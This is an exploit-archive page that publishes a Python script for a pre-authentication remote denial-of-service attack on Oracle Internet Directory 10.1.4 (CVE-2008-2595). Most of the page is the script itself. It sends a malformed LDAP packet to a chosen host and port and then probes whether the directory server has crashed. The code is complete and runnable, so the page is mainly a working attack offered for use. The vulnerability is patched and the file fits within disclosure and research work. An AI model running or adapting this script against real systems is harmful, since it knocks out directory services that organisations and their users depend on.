what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

oracleidir-dos.txt

oracleidir-dos.txt
Posted Jul 21, 2008
Authored by Joxean Koret

Oracle Internet Directory version 10.1.4 remote pre-authentication denial of service exploit.

tags | exploit, remote, denial of service
advisories | CVE-2008-2595
SHA-256 | 8d1454c1f63a29730308467b4cbabfa22ad6cd5aef0563cb61441a2c8e3c5904

oracleidir-dos.txt

Change Mirror Download
#!/usr/bin/python

"""
Oracle Internet Directory 10.1.4 preauthentication Denial Of Service

NOTES: Under 32 bits platforms it crashes immediately. Under 64 bits it may take even hours.
Sometimes you need 2 shoots to crash OID completely. The server "commonly" tolerates one
shoot, but even when you only send one packet it will crash.

Tested: Win2000 x86, WinXP x86, Win2003 X86_64

Vulnerability found by Joxean Koret (joxeankoret [ at ] yahoo DOT es)

Fixed: Oracle Critical Patch Update July 2008
CVEID: CVE-2008-2595
"""

import sys
import time
import socket

healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00"

def checkHealth(hostname, port):
print " --> Wating 5 seconds"
time.sleep(5)

print " --> Connecting to target..."
socket.setdefaulttimeout(5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))

try:
print " --> Sending 'health' packet ..."
s.sendall(healthPacket)
print " --> Trying to receive something..."
data = s.recv(1024)
except:
err = sys.exc_info()[1]

if int(err[0]) == 104:
print "[+] Exploits works!"
return

if data != "":
print "[!] Server is up and running :("
else:
print "[?] Server doesn't answer nothing. It works?"

def oidDos(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[+] Connecting to ldap://%s:%d..." % (hostname, port)
s.connect((hostname, int(port)))

print "[+] Sending packet..."
s.sendall(packet)
s.close()

print "[+] Checking OID's health..."
checkHealth(hostname, port)
except:
print sys.exc_info()[1]

def usage():
print "Oracle Internet Directory 10.1.4 Remote Preauthentication DOS"
print "Copyright (c) 2007 Joxean Koret"
print
print "Usage:"
print sys.argv[0],"-h<hostname> -p<port>"
print

def main():
if len(sys.argv) != 3:
usage()
sys.exit(0)

hostname = None
port = None

i = 0
for param in sys.argv:
i += 1

if i == 1:
continue

if param.startswith("-h"):
hostname = param[2:]
elif param.startswith("-p"):
port = int(param[2:])
else:
print "Unknown option '%s'" % param
usage()
sys.exit(1)

if not hostname or not port:
print "Bad command line."
usage()
sys.exit(1)

oidDos(hostname, port)

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close